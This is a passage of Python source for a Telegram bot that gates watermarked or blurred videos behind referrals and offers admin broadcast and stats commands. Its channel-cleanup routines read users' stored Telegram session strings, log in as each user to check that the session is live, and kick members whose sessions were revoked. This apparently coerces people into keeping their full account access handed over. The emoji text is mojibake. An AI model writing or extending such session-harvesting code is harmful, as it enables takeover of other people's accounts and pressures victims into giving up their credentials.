| finally: | |
| for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]: | |
| if f and os.path.exists(f): | |
| try: os.remove(f) | |
| except: pass | |
| async def bot_stats(client, message): | |
| try: | |
| users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute()) | |
| videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute()) | |
| groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute()) | |
| await message.reply(f"π <b>Bot Stats:</b>\nπ₯ Users: <code>{users.count or 0}</code>\nπ¬ Videos: <code>{videos.count or 0}</code>\nπ’ Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML) | |
| except Exception as e: print(e) | |
| async def broadcast_command(client, message): | |
| admin_states[message.chat.id] = {"step": "broadcast"} | |
| await message.reply("π’ Send the message you want to broadcast. (Send /cancel to abort)") | |
| async def process_broadcast(client, message): | |
| text = message.text or message.caption | |
| if text == '/cancel': | |
| admin_states.pop(message.chat.id, None) | |
| await message.reply("β Cancelled.") | |
| return | |
| await message.reply("β³ Broadcast started...") | |
| admin_states.pop(message.chat.id, None) | |
| try: | |
| all_users, start, step = [], 0, 1000 | |
| while True: | |
| res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute()) | |
| if not res.data: break | |
| all_users.extend(res.data) | |
| start += step | |
| success, failed = 0, 0 | |
| for u in all_users: | |
| try: | |
| await message.copy(chat_id=u['user_id']) | |
| success += 1 | |
| await asyncio.sleep(0.15) | |
| except FloodWait as e: | |
| await asyncio.sleep(e.value + 1) | |
| try: | |
| await message.copy(chat_id=u['user_id']) | |
| success += 1 | |
| except Exception: failed += 1 | |
| except Exception: failed += 1 | |
| await message.reply(f"β Broadcast Complete!\nSuccess: {success}\nFailed: {failed}") | |
| except Exception as e: print(e) | |
| async def add_png(client, message): | |
| try: | |
| parts = message.command | |
| needed_ref, duration = 3, "random" | |
| if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3] | |
| elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2] | |
| elif len(parts) == 2: thumbnail_url = parts[1] | |
| else: return await message.reply("β Invalid format.") | |
| admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref} | |
| await message.reply("β Now send the Video/Embed Link.") | |
| except Exception as e: print(e) | |
| async def manual_clean_channel(client, message): | |
| await message.reply("β³ <b>Starting channel cleanup...</b>\nChecking database users to verify active sessions. This might take a while.") | |
| try: | |
| kicked, checked = 0, 0 | |
| res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute()) | |
| if not res_users.data: | |
| await message.reply("β No users found in database!") | |
| return | |
| user_ids = [u['user_id'] for u in res_users.data] | |
| for user_id in set(user_ids): | |
| try: | |
| chat_member = await client.get_chat_member(PREMIUM_CHANNEL_ID, user_id) | |
| if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]: | |
| checked += 1 | |
| res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute()) | |
| is_valid = False | |
| if res_session.data: | |
| session_string = res_session.data[0]['session_string'] | |
| temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True) | |
| try: | |
| await temp_client.connect() | |
| await temp_client.get_me() | |
| await temp_client.disconnect() | |
| is_valid = True | |
| except Exception: | |
| try: await temp_client.disconnect() | |
| except: pass | |
| await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute()) | |
| if not is_valid: | |
| try: | |
| await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id) | |
| await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) | |
| kicked += 1 | |
| except Exception: pass | |
| await asyncio.sleep(1.5) | |
| except FloodWait as e: | |
| await asyncio.sleep(e.value + 1) | |
| except Exception: | |
| pass | |
| await message.reply(f"β <b>Cleanup Complete!</b>\n\nπ₯ Members checked: {checked}\nπ’ Users Kicked: {kicked}") | |
| except Exception as e: | |
| await message.reply(f"β Error: {e}") | |
| async def auto_clean_channel_loop(): | |
| await asyncio.sleep(60) | |
| while True: | |
| try: | |
| res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute()) | |
| if res_users.data: | |
| user_ids = [u['user_id'] for u in res_users.data] | |
| for user_id in set(user_ids): | |
| try: | |
| chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id) | |
| if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]: | |
| res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute()) | |
| is_valid = False | |
| if res_session.data: | |
| session_string = res_session.data[0]['session_string'] | |
| temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True) | |
| try: | |
| await temp_client.connect() | |
| await temp_client.get_me() | |
| await temp_client.disconnect() | |
| is_valid = True | |
| except (SessionRevoked, AuthKeyUnregistered, UserDeactivated): | |
| try: await temp_client.disconnect() | |
| except: pass | |
| await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute()) | |
| except Exception: | |
| try: await temp_client.disconnect() | |
| except: pass | |
| is_valid = True | |
| if not is_valid: | |
| try: | |
| await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id) | |
| await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) | |
| except Exception: pass | |
| await asyncio.sleep(2) | |
| except FloodWait as e: | |
| await asyncio.sleep(e.value + 1) | |
| except Exception: | |
| pass | |
| except Exception as e: | |
| print(f"Auto clean error: {e}") | |
| await asyncio.sleep(4 * 3600) | |
| async def catch_admin_steps(client, message): | |
| state = admin_states.get(message.chat.id, {}) | |
| if state.get("step") == 1: | |
| if not message.text: return | |
| video_url = message.text.strip() | |
| if video_url == "/cancel": | |
| admin_states.pop(message.chat.id, None) | |
| return await message.reply("β Cancelled.") | |
| try: | |
| await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute()) | |
| await message.reply("π Video added successfully!") | |
| except Exception as e: print(e) | |
| finally: admin_states.pop(message.chat.id, None) | |
| elif state.get("step") == "broadcast": | |
| await process_broadcast(client, message) | |
| def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860))) | |
| async def main(): | |
| await bot.start() | |
| print("π€ Pyrogram Bot & Real Session API is running!") | |
| asyncio.create_task(auto_clean_channel_loop()) | |
| await idle() | |
| await bot.stop() | |
| if __name__ == "__main__": | |
| threading.Thread(target=run_flask, daemon=True).start() | |
| main_loop.run_until_complete(main()) |